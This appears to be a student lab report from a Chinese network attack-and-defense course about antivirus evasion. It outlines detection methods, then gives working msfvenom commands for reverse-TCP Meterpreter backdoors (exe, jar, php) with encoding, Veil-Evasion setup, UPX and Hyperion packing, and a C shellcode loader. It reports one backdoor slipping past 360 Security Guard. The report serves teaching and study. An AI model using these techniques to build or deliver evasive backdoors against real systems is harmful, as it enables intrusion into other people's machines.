2019-2020-2 20175322周弋鸿《网络对抗技术》Exp3 免杀原理与实践

一、恶意代码检测机制和免杀原理

1.恶意软件检测机制

  • 基于特征码的检测
    • 简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码
    • AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库
  • 启发式恶意软件检测
    • “When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.” 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
    • 优点:
      • 可以检测0-day恶意软件
      • 具有一定通用性
    • 缺点:
      • 实时监控系统行为,开销稍多
      • 没有基于特征码的精确度高
  • 基于行为的恶意软件检测
    • 从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式

2.免杀技术(Evading AV)

  • 改变特征码

    • 如果你手里只有EXE
      • 加壳:压缩壳 加密壳
    • 有shellcode(像Meterpreter)
      • 用encode进行编码
      • 基于payload重新编译生成可执行文件
    • 有源代码
      • 用其他语言进行重写再编译(veil-evasion)
  • 改变行为

    • 通讯方式
      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码
  • 非常规方法

    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
    • 使用社工类攻击,诱骗目标关闭AV软件。
    • 纯手工打造一个恶意软件

二、实验内容

1.任务一:正确使用msf编码器、msfvenom生成如jar之类的其他文件、veil、加壳工具、使用C + shellcode编程、使用其他课堂未介绍方法

1.正确使用msf编码器,生成exe文件

  • 实验二中使用msf生成了后门程序backdoor5322.exe,使用VirusTotalVirscan这两个网站对生成的后门程序进行扫描

  • 用VirusTotal扫描后结果如下:

  • 一次编码:

    • -e选择编码器,-b是payload中需要清除的字符,该命令中为了使\x00不出现在shellcode中,因为shellcode以\x00为结束符

    • 生成过程:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.132.1 LPORT=5322 -f exe > encoded1.exe

    • 检测:

  • 十次编码:

    • 使用-i设置迭代次数

    • 生成过程:

    • 检测:

  • 结论:

    • AV厂商研究的是编码器本身,shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要找到了这一部分,就能查出这是恶意代码
    • msfvenom会生成固定模板的exe文件,因此其具有一定特征,一般的AV厂商也会针对其模板生成特征码来进行查杀
    • 如果使用msfvenom免杀,最好使用原生的模板

2.msfvenom生成如jar之类的其他文件

  • msfvenom生成jar文件

    • 生成过程:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.132.1 LPORT=5322 x> zyh_backdoor_java.jar

    • 检测:

  • mfsvenom生成php文件

    • 生成过程:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.132.1 LPORT=5322 x> zyh_backdoor.php

    • 检测:

3.veil

  • 安装veil:
    • apt-get install veil

    • cd /usr/share/veil/config/进入文件夹

    • vim setup.sh,编辑第251行,把github仓库改成码云的仓库:https://gitee.com/spears/VeilDependencies.git

    • veil,所有安装默认

    • 安装中显示错误[!] ERROR #2-3: Can't find the WINE profile for AuotIT v3...:

    • 执行如下命令:/usr/share/veil/config/setup.sh --force --silent

    • 执行以上命令后,将自动修复错误。执行完成后,看到如下提示信息:

    [I] If you have any errors running Veil, run: './Veil.py --setup' and select the nuke the wine folder option
    [I] Done!
    
    • 看到以上信息,则表示初始化成功。此时,重新执行veil命令,即可成功启动Veil-Evasion工具
  • 使用veil-evasion生成后门程序及检测
    • 输入veil指令,进入如下页面:

    • 输入use evasion命令进入veil-evasion:

    • 输入use c/meterpreter/rev_tcp.py进入配置界面:

    • 设置反弹连接IP:set LHOST 192.168.132.138(此处为KaliIP),端口:set LPORT 5322

    • 输入generate生成文件,接着输入你想要payload的名字:veil_c_5322

    • 检测:

4.加壳工具

  • 使用压缩壳:UPX

    • 给之前的20175322.exe加个壳得到zyh_upxed.exe:

    • 运行之后被判断为威胁:

    • 添加白名单测试反弹连接:

    • 检测:

  • 使用加密壳:Hyperion

    • 将上一个生成的文件拷贝到/usr/share/windows-resources/hyperion/目录中

    • 进入目录/usr/share/windows-resources/hyperion/

    • 输入命令wine hyperion.exe -v zyh_upxed.exe zyh_upxed_Hyperion.exe进行加壳:

    • 检测:

5.使用C + shellcode编程

  • 使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.132.138 LPORT=5322 -f c生成一段shellcode:

  • 创建一个文件20175215.c,然后将unsigned char buf[]赋值到其中,代码如下:

unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此处省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}
  • 输入i686-w64-mingw32-g++ 20175322.c -o 20175322.exe,将此文件编译为可执行文件:

  • 检测:

  • windows运行后被判断为威胁:

6.使用其他课堂未介绍方法

  • 使用Veil-Evasion的其他载荷生成后门
    • 输入命令veil启动, 用use evasion命令进入Evil-Evasion

    • 输入list查看其他可用的有效荷载

    • 输入命令use 25

    • 运行generate生成有效载荷,设置目标机IP和端口,选2用Py2Exe生成py程序:

    • 检测:

2.任务二:通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

  • 嵌入式Shellcode

  • 手动实现Shellcode的加载工作,只生成shellcode,降低VirusTotal的命中率

  • 使用msf生成一段shellcode

  • 再将其写入shellcode中

  • 结合压缩壳达到了初步免杀的目的

3.任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 本机上的联想电脑管家和迈克菲杀毒软件太给力,多次尝试不同的免杀方法都未能成功,最后在虚拟机上下载360安全卫士进行尝试成功
  • 虚拟机:win7;360安全卫士版本:12.1.0.1004 ;备用木马库:2020-03-24
  • 最后我用强力查杀模式查杀时后门被检测出来,然后进行普通查杀也能发现加壳的后门了

三、基础问题回答与实验感想

1.基础问题回答

(1)杀软是如何检测出恶意代码的?

  • 杀软检测恶意代码的方式有下列三种:
    • 基于特征码的检测:如果一个可执行文件(或其他运行的库、脚本等)包含被标记过特征的数据则被认为是恶意代码
    • 启发式恶意软件检测:就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,它就被当做了恶意软件
    • 基于行为的恶意软件检测:相当于是启发式的一种,或者是加入了行为监控的启发式

(2)免杀是做什么?

  • 通过使用一些特殊手段,让安插在被控机器的恶意代码不被杀毒软件发现

(3)免杀的基本方法有哪些?

  • 改变特征码(改变机器指令):
    • 有EXE——加壳:压缩壳、加密壳
    • 有shellcode(像Meterpreter)——用encode进行编码、基于playload重新编译生成可执行文件
    • 有源代码——用其他语言进行重写再编译(veil-evasion)
  • 改变行为:
    • 通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据
    • 操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码

2.实验感想

  • 这次实验更加贴近生活实际,不光单单生成后门程序,还要通过各种各样的方式伪装避开杀软获得主机权限
  • 实验中证明:360的保护效果不太理想,迈克菲和联想电脑管家还是靠谱的
  • 对veil有了初步的应用和了解,在免杀方面我还有很多需要学习
posted @ 2020-04-01 13:23  20175322周弋鸿  阅读(284)  评论(0编辑  收藏  举报